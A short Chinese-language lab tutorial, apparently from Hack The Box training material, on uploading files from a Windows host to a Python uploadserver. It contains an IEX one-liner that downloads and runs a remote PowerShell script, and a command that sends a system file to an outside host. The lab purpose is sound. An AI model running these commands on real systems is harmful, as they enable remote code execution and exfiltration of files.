PowerShell Web 上传方法

PowerShell没有内置的上传操作函数,但是我们可以使用Invoke-WebRequestorInvoke-RestMethod来构建我们的上传函数。我们还需要一个接受上传的网络服务器,这不是大多数常见网络服务器实用程序的默认选项。

对于我们的网络服务器,我们可以使用 uploadserver,这是HTTP.server module 模块的扩展模块,其中包括文件上传页面。让我们安装它并启动网络服务器。

通过上传安装已配置的 WebServer

AcesMin@htb[/htb]$ pip3 install uploadserver

Collecting upload server
  Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1
AcesMin@htb[/htb]$ python3 -m uploadserver

File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

现在,我们可以使用 PowerShell 脚本 PSUpload.ps1,它使用 Invoke-RestMethod 来执行上传操作。该脚本接受两个参数 -File-Uri,前者用于指定文件路径,后者是我们上传文件的服务器 URL。让我们尝试从 Windows 主机上传主机文件。

将文件上传到 Python 上传服务器的 PowerShell 脚本

PS C:\htb> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\htb> Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

[+] File Uploaded:  C:\Windows\System32\drivers\etc\hosts
[+] FileHash:  5E7241D66FD77E9E8EA866B6278B2373

最后更新于

这有帮助吗?